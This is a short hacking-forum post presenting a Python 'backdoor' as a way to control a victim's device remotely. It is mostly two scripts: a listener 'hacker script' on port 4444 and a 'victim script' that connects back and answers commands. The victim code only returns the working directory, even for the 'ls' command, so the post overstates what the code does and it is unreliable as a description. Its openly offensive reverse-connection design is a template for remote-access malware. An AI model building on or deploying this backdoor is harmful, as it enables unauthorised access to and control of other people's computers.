Backdoor Program using Python (Remote Access Explain)

dollarli

Administrator
Staff Member
Backdoor Program using Python (Remote Access Explain)

Programming a script in the Python language to make a reverse connection between the hacker's device and the victim's device
and control the victim's device remotely over the network

The Hacker Script
Python:
import os
import socket
#############
s = socket.socket()
host=socket.gethostname()
port=4444
s.bind((host,port))
#############
print ("")
print (" Server is currently running @ ", host)
print ("")
print ("Waiting for any incoming connentions...")
s.listen(1)
conn, addr = s.accept()
print ("")
print (addr, "Has connected to the server successfully.. ")
#############
while 1:
    print ("")
    command = input(str("V7X==[Enter Your Command]==>> "))
    if command == "v7x":
        conn.send(command.encode())
        print ("")
        print ("Done.. Waiting For Execution...")
        print ("")
        files = conn.recv(5000)
        files = files.decode()
        print ("Done.. Output >> ",files)
    elif command == "ls":
        conn.send(command.encode())
        print ("")
        print ("Done.. Waiting For Execution...")
        print ("")
        files = conn.recv(4000)
        files = files.decode()
        print ("Done.. Output >> ",files)
    else:
        print ("")
        print ("Err..! [Command Not Found] ")
The Victim Script
Python:
#############
import os
import socket
#############
s = socket.socket()
port = 4444
host = input(str("Enter The Server To Start ==> "))
s.connect((host,port))
print ("")
print ("Good..! Connected To The Server Success.. ")
print ("")
#############
while 1:
    command = s.recv(1024)
    command = command.decode()
    print ("Done.. Command Recieved..!")
    print ("")
    if command == "v7x":
        files = os.getcwd()
        files = str(files)
        s.send(files.encode())
        print ("Done.. Command Executed..! ")
    elif command == "ls":
        files = os.getcwd()
        files = str(files)
        s.send(files.encode())
        print ("Done.. Command Executed..! ")
#############
    else:
        print ("")
        print ("Ooh..! Command Err..!!")
#############
 
Last edited:
Top